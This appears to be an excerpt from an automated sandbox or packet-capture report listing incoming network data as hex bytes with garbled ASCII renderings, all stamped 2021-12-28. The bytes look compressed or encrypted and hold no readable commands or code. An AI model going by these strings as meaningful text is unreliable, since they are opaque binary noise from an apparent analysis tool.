2021-12-28 04:19:41 UTC	4044	IN	Data Raw: c5 a1 54 92 b5 22 a5 66 65 4f 0c ef 96 7e ea ca 8a bb a1 1b 84 ea 43 9d 74 cc 98 99 9b d0 63 1b 37 ee 96 6f 69 8a 29 76 85 7a 41 35 f8 54 9d 97 f9 73 e7 18 9c 7e 57 b2 6b 76 83 70 f0 f8 c2 ab 88 1c 22 0e 81 6d 7b 73 7c aa 00 9b 98 d6 ec a3 a2 dc 9b 5d e9 47 65 c6 7c d1 ab 57 ea 1d 77 6f 25 7e 2d 99 f2 91 83 5d 80 5b a7 e7 a7 1d 5c 96 4a cc 44 bd 4c 8c fa e1 81 7d 80 68 ed 85 b7 da fa 0b d7 26 2d b7 f4 11 09 e2 e0 cc 67 42 1e 44 55 3d 1a 11 d2 e0 5b 53 01 7d 0e 57 c7 5c 84 49 b7 2b 8a 5e 98 e9 17 09 2a 57 e0 e3 e1 6e eb 8b 2b 3e f7 af c6 a0 0e a0 50 ed 4e b4 0f 4b a0 39 fd 6a c0 49 99 91 63 06 46 f7 b8 95 f6 8d 6f 95 b0 6c c6 7b a5 85 f9 e7 3c 6d d6 59 71 f2 c9 77 2b 5a 18 d9 2a 37 04 a1 85 7f 1f 75 c3 2f b9 3b 49 1b c3 bf 5f 13 db 21 97 e2 a1 0a 75 97 a5 Data Ascii: T"feO~Ctc7oi)vzA5Ts~Wkvp"m{s\|]Ge\|Wwo%~-][\JDL}h&-gBDU=[S}W\I+^Wn+>PNK9jIcFol{<mYqw+Z7u/;I_!u
2021-12-28 04:19:41 UTC	4060	IN	Data Raw: d8 26 b1 e3 22 5f 57 64 22 f3 59 4c 45 9e 4a ab 49 b5 4a 55 1b a3 dc 82 55 f4 01 f3 d2 0d ad 5f 93 5a 92 c0 de 5d 84 7e 01 7e 93 c0 a9 a8 ee 07 90 d0 65 23 6f 49 6d 6a 00 aa f5 98 50 d7 c3 2d 36 e5 cb 0d 74 b4 5d f5 27 9c e3 d5 dd 49 c3 8d 65 fc 50 8d fc fa c2 a8 da 77 b5 75 6e d4 4b 9f 25 0d 2e ee 16 25 d2 ae b6 34 8f b1 65 9d f7 6b 41 d0 1b dc e7 92 2b 2a 83 2b 0e bd 6f cc 49 4c b1 2c d6 e4 8c 5c dc cd ce 4d 94 78 c9 53 80 e5 4f 4e 36 08 f6 00 e4 64 25 9d 9f 76 00 08 40 2e 48 1e e2 5f a4 06 e3 dd a7 ea 77 cd c9 1c ff 3d 4c 4a d9 a9 56 39 50 db 46 e8 fa fc 75 49 b8 d5 d9 44 34 03 fd 89 2f 06 44 49 d7 8d fc 5e 73 1d 27 70 28 4a 3b d6 45 98 e3 3c 0e e5 71 37 6e 12 5a 34 7c 21 83 35 bc 62 22 56 41 86 bc 55 f7 02 6f 89 1d 61 fe ba 04 6e c5 ca 77 72 4c 80 d3 Data Ascii: &"_Wd"YLEJIJUU_Z]~~e#oImjP-6t]'IePwunK%.%4ekA+*+oIL,\MxSON6d%v@.H_w=LJV9PFuID4/DI^s'p(J;E<q7nZ4\|!5b"VAUoanwrL
2021-12-28 04:19:41 UTC	4076	IN	Data Raw: 75 9b 49 f6 a3 d5 ba 6a 7f 9d 8e 31 8c 47 7b 24 cd 04 62 5b d5 31 a0 32 31 b7 a2 d5 63 33 7e f4 10 2a 17 be de 52 cc dd ac 9b d1 d4 2d df f8 49 f1 0f d0 8c 14 0d a2 82 dd b3 1a 43 d1 3b 1c 17 45 a8 43 b4 4a 89 f1 da 19 3a ca 08 a8 4a 7c 6d ba fe 07 19 ad 2a 0d b3 7c 72 0c 99 8c 9a 14 0d 01 eb db be 15 97 77 24 c4 e9 a7 e0 44 a3 cf 53 3c 02 73 7f 4b 19 5d f3 3b 11 b7 45 86 ce 7c ba 2f ab 22 2c 24 c7 2d d6 7a fd a8 f2 1c c1 89 45 9c 35 65 23 0c 35 30 61 88 e6 22 bc 9c b4 4d b4 ef 94 d4 2e 6e a1 be a0 05 78 8a c7 40 f3 bd 9a d2 ef 32 df 6a 0f 24 e4 31 c5 87 2d 09 bb 9e 29 87 1c aa 55 f4 86 7d af 13 6a b7 61 c5 1b fa c6 61 17 72 03 65 20 3d 3c e6 8e 5c 62 0a 4b 06 4d 70 9a 4b 69 0a 4a 17 b5 6d d1 bf 46 1c ee 94 97 2a 93 5b c9 8b ec fb 6c ef 52 dc 75 af d7 c2 Data Ascii: uIj1G{$b[121c3~R-IC;ECJ:J\|m\|rw$DS<sK];E\|/",$-zE5e#50a"M.nx@2j$1-)U}jaare =<\bKMpKiJmF*[lRu
2021-12-28 04:19:41 UTC	4092	IN	Data Raw: aa 2a 80 36 4e d3 0d 03 62 a5 96 ae cc 5f 95 26 99 08 8f 9f 03 a0 70 a8 99 42 4f 73 6e 0a 45 49 60 0a c7 1a dc 65 af 19 a4 2d 2e 9d b6 9b 29 8c 8e d8 cc 7b 88 fc f1 22 65 ff d5 a3 2f 2a 56 e7 aa e2 f0 23 71 cb 02 d0 5c ad 44 04 4b 9f 0b 2b 5e 19 f0 4d 48 2f 10 9d a3 b8 c9 cc 81 b0 39 bf 37 c7 f7 73 8e 8b 8c fa 6a 2f 3a e5 1f 61 8d 18 21 ea 84 39 7c 52 8a 89 24 1a 33 1e bd fc 35 0b 4d 87 0d ec a4 05 7a 0a 0f 30 3c c4 2b 18 bd 08 f4 8a 68 2c 17 52 1c 6a 86 a8 b1 fd 08 25 d6 76 c8 7e 30 af a2 81 ca bf 21 88 bf 1e 30 69 d8 cf a1 31 ef 70 3e a3 ef cb b4 ab 46 5a 9a 99 49 89 e1 e3 32 72 9c 56 7b 70 06 72 84 2e 63 67 d2 33 8b f8 b9 1b 62 0d e5 93 cf bd bc 57 87 1f 89 7c 67 ef 44 8d f6 45 6b b3 0b 8e d6 3e 31 d2 83 b6 6d 2a 45 28 ff b6 90 f5 f7 cf ff 9a df 3e fe Data Ascii: 6Nb_&pBOsnEI`e-.){"e/V#q\DK+^MH/97sj/:a!9\|R$35Mz0<+h,Rj%v~0!0i1p>FZI2rV{pr.cg3bW\|gDEk>1m*E(>
2021-12-28 04:19:41 UTC	4108	IN	Data Raw: 1f d3 48 cb 9a b3 ec fd 13 bf 7b d7 23 b2 e8 93 f6 6b 69 69 4b 0f c6 ae 8a 6d b9 27 de 00 1f 62 42 e3 2e e8 bf cf 26 54 6d dd 51 53 e4 0a 65 f0 d4 12 c9 4b 23 82 23 1c ae cb ce 90 5f 9e 04 2d a6 77 af 6b b2 79 94 ec a0 57 75 67 71 17 f7 b5 d9 e9 d4 c6 29 be 94 33 2b 27 a5 2b 7f 6d 18 f7 c1 cd 2e 44 61 e3 95 6b 00 41 13 23 7b c0 5d e2 55 6d 5f 8b c6 64 88 e4 32 4c ea 7e 48 f5 ce ad 4a b9 22 b4 24 52 77 27 b2 f0 d3 4d 6f bd c8 fa 73 bc e7 18 c4 5e 03 10 a9 b3 27 6f 80 4d a8 8e d9 81 10 30 84 54 82 75 cc 5c 44 11 d6 38 e4 45 0e 13 45 2b 98 05 ad 8a 57 64 2c 94 30 75 d3 68 e6 38 a2 a1 c7 e6 49 01 2e e6 23 57 09 10 b8 e2 e3 f8 30 f4 8a 19 cf d4 2c bf 80 57 f3 4f d3 c7 04 86 d2 1a 89 0b d5 63 e5 b6 ca 5b 4a 92 5a 2e 90 0a 30 c0 67 52 a9 53 c2 24 1f 36 b9 99 19 Data Ascii: H{#kiiKm'bB.&TmQSeK##_-wkyWugq)3+'+m.DakA#{]Um_d2L~HJ"$Rw'Mos^'oM0Tu\D8EE+Wd,0uh8I.#W0,WOc[JZ.0gRS$6
2021-12-28 04:19:41 UTC	4124	IN	Data Raw: fe bd 1f b1 d4 ca bc 4c 24 58 bb 2b 01 20 45 1f 9f 9c 80 c2 b0 cd c9 f0 aa bc 3c 68 90 f2 b9 5f 6f 56 a4 4c 21 ed 70 9c 1e f7 82 d6 95 b6 99 ba 4e f4 65 c7 64 c2 d3 08 f6 db bc 91 39 ce b5 6f ac b5 ea 9b 2f ac 2c d6 98 cb 57 4d 98 03 fc c6 27 fa 48 6c 9a 40 8a 32 29 34 c4 50 95 e5 f0 5f d6 81 87 e9 c8 17 5d 6f e5 af 41 e0 b7 13 49 36 d4 d1 f3 34 e8 d1 c3 30 8e 83 ec 42 b0 ea 5f a8 f8 80 cb 5b b5 c2 33 16 83 f1 e9 5d ca 6f 0b 00 ca be 4a 97 98 69 a9 18 66 99 79 32 ae 74 bb 9e fc ff a0 41 af 24 d6 7b f9 80 55 df f1 6c 2f 70 53 fe ba 9b 79 31 8f b6 74 13 3a d0 38 bc a4 6e f6 4d 7a 6e 34 98 2f b5 6d 14 90 82 31 88 e8 d8 71 44 dd 2a 59 e3 c7 98 0e 7c 84 f5 91 a3 93 2b 4e c4 d5 66 52 3b f0 9d 8a 59 fe 71 8f d4 f6 03 69 eb e6 77 71 7d d3 4a be e7 70 a9 1e 21 c2 Data Ascii: L$X+ E<h_oVL!pNed9o/,WM'Hl@2)4P_]oAI640B_[3]oJify2tA${Ul/pSy1t:8nMzn4/m1qD*Y\|+NfR;Yqiwq}Jp!
2021-12-28 04:19:41 UTC	4140	IN	Data Raw: d0 d9 3b 48 df c8 8c af d3 90 85 7f 56 f2 57 8d f6 3b af 3e 00 81 a2 fe 63 83 1b ad f6 27 6b 92 54 95 28 c4 de 33 27 ba 7f 8d db 4d 45 74 72 e8 43 a5 c2 7a 23 fb 31 a5 25 05 7f 00 a7 0e b5 ba d8 8e 9e 45 08 99 a9 c7 69 34 cf c8 c6 46 29 a9 bb 98 d9 c9 22 8b 9d 77 c8 45 c2 9b 46 25 26 71 35 26 10 fa 49 62 a0 eb c6 38 f1 38 cc 90 48 2f 4a 67 9a 38 69 9c 4c 6b 59 b6 df da 40 61 5c 77 24 23 48 ea 31 7e 00 1d 6d 8c d7 d7 b2 bf 63 ed 97 26 11 46 80 2e ba 43 f5 4f e5 36 93 f3 79 db 4b 7a 9d c7 7a 72 3e 00 7f 7d ec 10 5b a1 9a b2 8f 4d 4f fb 39 e7 74 3b 87 c0 40 d0 95 82 38 ed b5 55 b8 29 19 5a 4a eb 42 ba 27 d4 f6 cb 2a 7a 1a 33 02 36 c6 30 b9 e9 4f 04 5e d0 77 9c b4 07 51 37 6a 9b 4f 6a 8b a7 9e 67 f5 8f fa 1f fa 3a 38 c9 62 80 26 05 f0 69 81 2a 26 77 9c c1 f5 Data Ascii: ;HVW;>c'kT(3'MEtrCz#1%Ei4F)"wEF%&q5&Ib88H/Jg8iLkY@a\w$#H1~mc&F.CO6yKzzr>}[MO9t;@8U)ZJB'z360O^wQ7jOjg:8b&i&w
2021-12-28 04:19:41 UTC	4156	IN	Data Raw: a5 39 26 ec 6f 42 4d 80 30 6a c7 41 7c 2d 27 4a e7 20 d4 45 ff be 8c 54 1f 93 0b 3d 67 62 14 ac 73 63 7e 67 0b 5d 3c 7c 7c f2 2b d4 6c b2 a7 a6 ed 74 ba e3 77 0c f0 58 f9 0d 84 b3 f7 8b 34 4b c1 58 91 ca a8 2b ac 31 1e bd 39 82 c9 f7 0d 33 61 9f 6f e8 b1 db 8f 9a 8a 53 77 df bc 36 85 e8 a7 99 73 2b 10 9f 45 06 9a cb 1e a3 04 28 67 ea c3 9e 19 21 06 07 5c 2c 6f a0 6d e8 24 27 18 21 99 0c e3 9a 6d d0 2c b6 56 bb 50 90 55 3a 6f d4 58 70 67 e0 b7 b0 e8 33 bb 38 a9 9e fc d4 35 43 52 8f 98 de 28 fc c8 c0 78 4e b2 e4 60 22 dc 78 98 19 80 b6 c6 52 f1 02 e8 73 96 0d 1b bc c7 fe 97 99 3f 50 61 aa 37 6b 73 6e 7c 91 df e5 5d 94 ea 5e c3 d1 03 87 fb 21 26 dd 1f 09 d6 0f db 90 41 2d d6 7f c5 a3 7d 44 4b bb ef df dc 60 c7 41 42 f2 a3 f9 e6 99 bd bf e0 29 0a 84 08 c3 3b Data Ascii: 9&oBM0jA\|-'J ET=gbsc~g]<\|\|+ltwX4KX+193aoSw6s+E(g!\,om$'!m,VPU:oXpg385CR(xN`"xRs?Pa7ksn\|]^!&A-}DK`AB);
2021-12-28 04:19:41 UTC	4172	IN	Data Raw: 8b d2 75 dd e4 63 3a 3f 27 9d 71 fe 99 1b aa a9 a2 93 07 9a 86 84 1b 7b 8e d1 7d 1e 2c ad 5c fc 5c cf a5 9f 53 c8 b7 37 15 6c 03 32 7d f0 fa de 3e e8 b6 c4 f6 a8 3c 54 88 2a b9 69 8f 05 75 7e 3c 41 f4 12 0c f4 68 b2 89 a2 47 90 2b 79 c3 4e e9 fb d7 02 2e a4 10 35 e3 50 b0 cd 75 2c e6 1e c0 73 50 d2 8a 30 f9 9c 6b 14 33 a7 18 db c3 41 bd 6f ac d7 f5 52 c8 76 b6 45 5a db 86 b9 67 e9 64 dd c2 32 f1 63 49 f4 a6 f7 1e be 39 7d 7f a1 6b d6 6d 1c 38 9f 76 d2 84 e4 70 ec 85 c4 f6 ac c7 50 19 95 71 45 28 10 28 dd d6 23 e5 a3 fe cd dc ee a3 9a 59 00 ca 08 fd 60 a1 a0 02 b4 1a 38 02 7e 00 61 1d 5f 8a 34 5e 60 8e 89 8b ca 6a 9f 49 09 53 c5 80 60 51 86 e0 90 64 42 5b 2f ac e4 af d5 d1 73 8d 7b a4 2a b7 af 27 f5 4d e5 c7 42 45 64 0c 91 e3 9f 70 87 47 9f 30 2d bd b5 73 Data Ascii: uc:?'q{},\\S7l2}><Tiu~<AhG+yN.5Pu,sP0k3AoRvEZgd2cI9}km8vpPqE((#Y`8~a_4^`jIS`QdB[/s{'MBEdpG0-s
2021-12-28 04:19:41 UTC	4188	IN	Data Raw: fe 34 43 ec ad 76 6d b2 3e d8 b0 4b 51 64 ff 45 3c be b5 67 39 d8 a8 c4 8f d8 c0 d8 15 7c b5 0f fa 6e 93 92 40 8d 2c 80 ad 69 74 2c 1e 6e 4b f4 c2 fe b6 80 d2 a1 d1 94 54 82 c2 ca c9 04 2c 80 2c b9 9f 39 e1 2b f1 cd 04 60 af 50 c9 88 13 c6 f2 12 cf 60 78 bc 81 e0 97 68 37 dc 39 a2 6a c7 62 9e 93 a3 25 6b 30 be 74 77 38 b2 19 03 54 d2 9c 89 df 85 55 d5 34 f3 8a 6d ce 81 72 9f 92 24 2c 95 4a 24 8b 8d 93 c0 b3 cc 53 cc 4b 06 21 72 34 fa ce 74 36 b7 ec 4a 97 85 e1 27 95 f2 5a cc 03 20 bd 7a 71 5f 04 ce 2d 09 6c d5 29 be f8 ec 9f 6c a8 bf 12 d1 56 a4 34 18 d0 98 ed 79 3e 4b 42 fe f2 8e 3d 5a 39 9d e5 d1 02 b4 74 b7 f5 64 6b 43 0b 3d 50 4d 67 5c 9f 39 b6 02 55 47 d8 e0 49 70 ad a9 b3 ba b1 56 9d 32 f4 74 34 36 4c 71 b3 a3 33 d3 5d 62 2b 2f f0 2f 9f 02 a9 7b 7d Data Ascii: 4Cvm>KQdE<g9\|n@,it,nKT,,9+`P`xh79jb%k0tw8TU4mr$,J$SK!r4t6J'Z zq_-l)lV4y>KB=Z9tdkC=PMg\9UGIpV2t46Lq3]b+//{}
2021-12-28 04:19:41 UTC	4204	IN	Data Raw: 1a 57 ce 15 81 1e f0 3d a7 ee 71 87 92 d8 c5 a6 ba 12 56 e0 8d 1f 9d 08 40 44 9d ae a6 63 30 8b 23 34 8f 58 16 18 45 8a 2d b7 e2 54 73 e6 2e 59 55 ea 15 f2 33 82 22 ba d0 f6 17 7b 93 be 27 3c 62 f3 7d 47 0e cb b2 13 08 e8 48 7b c2 cc bf c3 2f a7 e6 b0 ed 40 8c 25 41 40 e1 84 33 22 b8 eb 3f f4 33 82 4e 92 71 55 bb 3a e5 74 3a 46 49 61 3a 0b 43 95 41 96 25 33 37 b3 d4 b7 af ed 1b fb 4d 8c e2 60 9e d9 19 e5 35 b4 d3 e8 2d c0 79 71 0c 56 d3 5d dc a4 6f 4c 52 a0 34 e1 5b 98 db 2f 04 a9 3e 17 8e 05 24 65 7a 32 0d dc 1b 56 7d 2e fe c5 fe ba 3c 4c fb fd 95 64 c4 48 37 32 e8 47 54 25 01 dd e1 1d 85 81 6b b9 85 2d e4 1f 7f 3f ac 70 91 bb 3d e6 df d6 4d 89 37 9c 69 4f 5b 58 5a 6f 3e 7f 42 40 c4 06 f1 73 50 90 55 1d 51 5f 33 1a cc 86 e1 b5 97 89 06 aa 6f 5a 2e ec 4d Data Ascii: W=qV@Dc0#4XE-Ts.YU3"{'<b}GH{/@%A@3"?3NqU:t:FIa:CA%37M`5-yqV]oLR4[/>$ez2V}.<LdH72GT%k-?p=M7iO[XZo>B@sPUQ_3oZ.M
2021-12-28 04:19:41 UTC	4220	IN	Data Raw: a4 40 ff f5 5e 6d 1d 0d f5 2b c9 39 40 cb de 33 ba a5 0d 1c a2 be 26 bb 4c 27 93 63 53 5e 02 5c 1f 81 ee bb bd 71 f9 3d 39 ee ed 68 29 ec 40 90 d9 89 b9 a6 4c 9f b1 0a d1 08 da 8a 9c e7 71 1e 81 01 54 4a 9f 45 14 b5 2c 28 8d ef 70 b3 c2 1c 89 de ae b3 d3 93 a6 61 8d a2 a3 c4 29 f9 3e 09 f9 af f6 12 02 b6 1e 64 ec 21 3d 73 9f 89 13 50 c7 cd 64 61 87 15 b3 4b ee a4 31 ef 51 e2 98 06 79 8e 64 35 cb 4a c9 54 a7 c3 d4 70 b0 f0 1f f9 d4 99 93 7f 56 4d 60 96 ad b2 3e d1 de c6 c0 77 e4 9a e7 b5 77 12 8a 37 d1 9c 07 7f e2 7e 77 ee 25 ff 2d 49 d3 8d 82 44 5b 22 44 28 ea ae a0 35 b4 2b 6b bb 09 98 cd 7c 98 4b 93 fe 95 c1 60 65 c2 02 3c c0 71 a3 dd ec c4 2c 70 40 6a 30 30 0b 60 2e f4 e9 72 8f 50 96 42 f9 d6 b8 5f 72 ad 0a f9 61 e9 31 c3 38 b5 61 65 91 23 20 20 93 38 Data Ascii: @^m+9@3&L'cS^\q=9h)@LqTJE,(pa)>d!=sPdaK1Qyd5JTpVM`>ww7~w%-ID["D(5+k\|K`e<q,p@j00`.rPB_ra18ae# 8
2021-12-28 04:19:41 UTC	4236	IN	Data Raw: f8 2d f9 19 45 a8 4e 1a b1 79 8e dd 38 8f 7b a6 b0 1b 07 1d 18 c7 a2 c0 1c 4a 93 70 3e 60 ed 88 75 5e 28 dd e1 b4 63 35 a8 a4 a7 85 be dc da ec eb 39 af 3b 99 d8 b4 e5 18 15 ab 27 47 b5 cb e0 9c c6 49 2a 54 f2 80 30 56 36 c8 a7 1b 87 f9 c0 9e ac 88 b2 e2 c3 fe b7 99 31 3c 71 b9 23 e9 0e 73 5f 07 f1 af 11 8c c2 91 32 17 b1 26 b0 35 2e 21 d1 05 dd 4a bc fd eb e0 77 02 79 47 fc 84 ee 25 84 8d 15 91 c7 a7 89 9f 8d 8c ea 4f f5 f5 36 0e 47 b0 52 aa 35 e0 33 a6 b8 50 55 12 19 88 75 4c 9c 2d 3a 49 0e 39 15 95 80 11 70 b6 a8 97 68 44 94 6b b8 de 1a 65 b1 0c bc d1 f6 e6 55 89 59 3c ed 42 c1 ca 0b f5 74 62 9d 44 83 6f f1 d7 af 49 b4 0b 71 d3 fd d7 70 16 fd ef ac 49 83 10 f3 d8 bd cc 2f 93 03 99 d1 63 28 03 dd 1e e6 fc c3 04 50 32 f9 b8 51 36 28 98 97 07 f7 39 79 91 Data Ascii: -ENy8{Jp>`u^(c59;'GI*T0V61<q#s_2&5.!JwyG%O6GR53PUuL-:I9phDkeUY<BtbDoIqpI/c(P2Q6(9y
2021-12-28 04:19:41 UTC	4252	IN	Data Raw: e4 b6 ca a2 a0 ef e2 ec a8 ee 5a 45 c4 04 1d 06 c2 a8 50 e2 ee f1 a3 4e 01 84 d3 42 ab d5 3a 30 9d 87 7a f7 b3 b1 cd 61 35 06 ef e1 68 84 4b 1a b8 44 3a 30 f2 c2 02 5d 5e 53 76 34 34 d5 55 ff 3a d1 4c eb 15 cb a7 77 59 38 48 c5 ff 15 f6 c8 60 2d 37 13 a9 c4 e2 6a 51 6f 50 bc b4 e6 c3 a3 f8 fb 7a 17 62 de 49 1b ae 09 a3 91 28 aa 79 c6 52 79 37 e3 a2 cf 13 87 6d 33 4f 3a 11 ff e0 e5 dc a7 0b 2c 14 94 29 c7 85 2d ab d2 ec 11 d3 c1 08 90 f5 f4 74 5f 70 3e 26 6e 5f 4e 96 d0 5e 44 d0 ba 7b 18 76 d1 17 9e 8d 3a c2 e3 51 b3 3c a6 bd 33 12 27 3f df d6 0d 11 12 2c d6 95 02 99 87 41 44 d9 f4 94 d4 2f ff 71 e6 02 29 6e 61 b2 2b eb c8 f0 34 94 4f 2b 33 80 f3 3b f2 88 e1 59 0a 1c ea ec ae 84 b1 72 83 80 0b c2 d0 80 72 db 47 ee db 2f 03 54 86 bc 8b 0d 39 83 98 ad a4 72 Data Ascii: ZEPNB:0za5hKD:0]^Sv44U:LwY8H`-7jQoPzbI(yRy7m3O:,)-t_p>&n_N^D{v:Q<3'?,AD/q)na+4O+3;YrrG/T9r
2021-12-28 04:19:41 UTC	4268	IN	Data Raw: 02 9f 0d 05 52 0c 05 92 bc 8a 7d 17 bd 0f 9b 3f 71 73 77 1a 6d 5f 59 ae c2 e8 a3 f9 e8 59 c1 80 b9 1a 74 13 bf 4d c8 9f f6 d0 08 cc fd 99 48 ed 0e c3 1e 5a ea 1c ee 7a ff 6e 0f 5b ac de b7 3c ea 9f 02 3b cf 18 05 34 7f ae da a9 3e f5 b9 16 ac 47 7b 48 96 06 49 03 55 67 a0 d7 6a 0f 20 78 48 5e 2c eb f5 f0 0a ff c9 28 6a a8 e4 d7 11 20 93 dd 77 42 fe 37 78 5b 17 74 37 3f 29 fe 23 d7 6f 4a 1f 65 02 26 15 89 b9 d3 53 4a f5 f9 65 35 41 01 c3 0b 59 d2 08 e3 e7 4e 49 82 cb c4 50 8b 45 d0 74 2c 42 50 ea 1d 35 16 77 5d c8 99 60 82 20 07 c4 b8 1f d2 b3 97 1d 9f f6 40 e5 8c a0 7b 5b 83 cd 11 9b cd 97 d1 42 29 7e e5 ad b4 3a 28 ed 2c b5 26 72 50 07 dd 0f 1a 51 7b a1 f4 5b 8e a1 c9 e9 49 b7 0d ca 10 6b 6e 80 43 3c e6 00 7e b5 3d 63 d3 da 4d cf ff 0f 9b b1 27 d2 5e bc Data Ascii: R}?qswm_YYtMHZzn[<;4>G{HIUgj xH^,(j wB7x[t7?)#oJe&SJe5AYNIPEt,BP5w]` @{[B)~:(,&rPQ{[IknC<~=cM'^
2021-12-28 04:19:41 UTC	4284	IN	Data Raw: b5 5c 11 dd fb ec a0 d6 2c e2 cb c2 2d 9b 29 fc 55 3a 6b 31 3b 3d 43 90 a6 8f d5 11 d5 e9 62 f5 c0 57 5b de 00 e9 5a 0c 7f 0b 9b 28 25 74 bd 0c dc 60 14 81 f2 86 fc 8b e4 f1 82 b8 24 7b f2 ec f4 f5 6b f4 53 20 0e ef ae 0a 4c f0 4c 2d 64 e5 48 b5 46 4c b5 18 eb 30 70 1c 78 d7 58 57 bf 88 d5 68 b9 c4 cd 0c 57 e2 82 44 43 36 ef f1 c7 75 5b 36 bd 70 15 7a a5 13 19 fb 6c 97 cd e2 d5 49 3d 0d af ef ab 6f c8 ff a4 70 af 65 9d 16 61 64 08 20 e6 e0 d9 ca 57 2b 11 7f 45 66 22 3e f1 bc c8 69 83 c1 12 66 a7 cc dc 03 ab de 30 dd 93 37 6d 62 d6 39 c5 64 d4 8e 2b 2c 17 5d 79 92 1d c8 15 a4 66 f6 02 d6 b5 8f 2a b7 cb 73 55 31 07 ab e9 f4 c2 73 30 4f 88 9d 88 43 61 58 f2 2b d4 7c ec e9 f4 da b4 7a c4 0a f3 0b 86 7a f4 05 f1 0b 63 ff e6 a7 3a c4 8f ff ba 5f 6c 4b 8a 27 82 Data Ascii: \,-)U:k1;=CbW[Z(%t`${kS LL-dHFL0pxXWhWDC6u[6pzlI=opead W+Ef">if07mb9d+,]yf*sU1s0OCaX+\|zzc:_lK'
2021-12-28 04:19:41 UTC	4300	IN	Data Raw: 8b e8 a1 0f 5d 7e 00 de 14 b8 f1 c2 c5 03 c7 0f 40 c8 3b fe 60 0f 8c 83 1c 0b 58 d7 9f 00 63 bd fd 31 f8 75 38 00 6c e0 13 29 05 36 53 12 0f 79 01 99 7d 63 0f 8d 4c b8 e1 49 16 ea 1f 00 29 86 f2 f7 18 e9 ae 14 00 33 d8 f6 25 03 02 ea 28 0e a6 d3 01 9e 81 d4 ba fb 90 d8 06 1b 2e 8b dd 54 00 5d 94 fe 1e 89 74 00 3e a7 f5 52 35 53 3c 48 4c a9 d7 26 aa a0 00 e4 67 b2 2e 7d c5 00 23 7c 53 e5 c2 4d 68 b5 00 15 f7 8f 0e 2a 18 28 a4 5c 14 82 00 35 19 7a 84 50 01 cd f2 21 00 1d c1 25 32 1c 04 0b f0 00 89 75 a0 d7 e9 69 c7 dd 2c 1a ca 87 00 df 22 b1 4d 49 78 00 c2 68 7f 5f 59 e4 06 3b f2 9a 00 12 7d 0e b1 83 f1 da 49 00 e0 89 e5 eb 2c 32 9e 93 0e 87 53 24 d1 40 0e 40 ac c7 35 17 48 d8 d3 00 8d 34 f5 49 e2 3c 00 29 7c 4f 2e 72 56 21 32 00 41 0c d8 ca fa a0 b0 7a 00 Data Ascii: ]~@;`Xc1u8l)6Sy}cLI)3%(.T]t>R5S<HL&g.}#\|SMh*(\5zP!%2ui,"MIxh_Y;}I,2S$@@5H4I<)\|O.rV!2Az
2021-12-28 04:19:41 UTC	4316	IN	Data Raw: 42 00 50 bb 70 83 7d fc 00 bf 40 28 fb 06 91 0a be 2c 8d b8 4a 00 99 42 ef eb 93 10 00 e2 80 11 b3 7f c5 a2 86 0f 2c 08 44 e3 80 90 82 fe 81 cf 00 38 88 a6 fb ff 94 69 8a 00 0c f7 10 a5 0f a3 2c 05 76 18 00 89 73 16 57 13 a1 22 9f fa da 00 41 72 ad 2d 4f 30 17 80 3e 39 c2 82 8b ea 1a 73 78 40 2d 0c bf 50 08 a2 3c 00 4d 75 07 87 fb 48 51 02 1d b0 4e 71 2c 0d 00 82 35 de 60 39 38 00 0f 30 87 43 83 8a 80 70 75 90 00 c3 8e 24 85 a9 5e 0f 54 00 2d 05 99 03 0d c2 16 70 39 0e 86 8f 0b 26 0c a1 6a 0a 02 06 db a1 04 07 61 0f c4 09 40 7d 01 00 a6 91 c3 7a e9 38 bc 87 02 36 8c 10 64 65 09 60 57 f7 88 00 9e 8d 08 9a 8e 11 cb 22 00 fc 20 31 8f 44 62 cf 40 00 90 2d cc 69 43 09 59 88 98 8d 1e 2e 8b 77 80 b2 0e b7 12 56 ae 76 26 00 17 23 24 ad b4 4a b9 9e 07 7a c1 f1 8b Data Ascii: BPp}@(,JB,D8i,vsW"Ar-O0>9sx@-P<MuHQNq,5`980Cpu$^T-p9&ja@}z86de`W" 1Db@-iCY.wVv&#$Jz
2021-12-28 04:19:41 UTC	4332	IN	Data Raw: 28 a9 e8 27 18 0f 17 35 80 3e 61 64 5e 1a 2e f3 90 f5 48 2d 00 1c 76 d5 92 19 ad 83 6a 06 1e c3 90 8b 3a 9a 1c 67 3f 4a 80 5b 45 b7 ef 9b 4b 7a e7 e8 51 cf 09 57 02 3c 0c 18 c0 97 08 1c 19 39 c0 20 0f 24 02 28 24 2c 08 30 90 34 22 38 7e 3c 7f e0 fc fa 1e 1f 77 02 81 31 c9 e8 17 f0 cc c2 57 07 89 7b c1 74 c0 00 cf f7 d9 83 00 e1 07 29 ca 98 c3 10 8d 50 e6 d1 1c 0b 03 32 18 09 75 80 32 48 0f 91 0c 79 22 03 44 06 88 76 47 c8 a8 05 10 04 00 7e 81 02 03 01 fb 07 9a b0 a2 e8 08 00 e2 f0 c1 e9 24 e6 59 ac 06 0a 33 2d 4f 45 4a 00 43 44 40 3d 8a b1 2b 5f f6 84 00 fb 23 e4 ca a1 c6 f7 6b 7b a9 00 18 75 25 6e 5b 76 7b e3 0e 1d 83 f9 10 73 fe 00 b5 f2 7a 24 3e c6 00 40 9f e9 7c 5d c8 b1 27 00 77 ed 57 97 f4 04 09 89 00 5c 84 6d 32 e4 65 0d ea 00 e0 f6 01 63 c1 30 85 Data Ascii: ('5>ad^.H-vj:g?J[EKzQW<9 $($,04"8~<w1W{t)P2u2Hy"DvG~$Y3-OEJCD@=+_#k{u%n[v{sz$>@\|]'wW\m2ec0
2021-12-28 04:19:41 UTC	4348	IN	Data Raw: 1c aa b2 55 00 34 29 33 c9 0b a7 71 24 00 25 54 14 5a 77 5b eb 41 02 88 55 ff 7b 98 c7 5d 00 c4 37 a3 f4 d6 00 be cc a2 2c c6 0e 80 7d 3d dc 9d 80 fa 54 4a c3 ae d9 10 00 2e ac 0c a4 ba b6 5c c9 1c 08 d6 53 81 9f 42 d8 57 70 f8 bf ed 00 e5 af 71 34 85 c7 43 08 00 16 63 b8 3e 50 07 8d 22 00 83 90 97 f1 21 84 73 8e 7c 01 12 43 10 d5 00 4a 0d ea 28 a8 03 00 17 ff 50 20 fd 7c 52 2e 00 5b e2 72 2f 5e 71 ac ea fa 9a 00 d0 ff 7d d4 6b 4d 1d cb ee db 03 5d ec 40 a9 34 59 88 35 6f ed 00 e4 cc d8 75 7b 90 23 27 00 e7 3f fd 04 d7 a9 4a b8 00 85 40 2b c7 99 3b 09 55 1c 0c 75 07 81 d8 77 02 44 eb cc 7f 40 00 b9 a0 16 cf 8d 54 3b 6a 00 10 a6 45 ab ce 14 04 2f 00 c5 01 c6 67 38 aa d9 05 00 11 53 0c 63 0e 29 31 82 1e 19 92 eb 80 49 39 7e 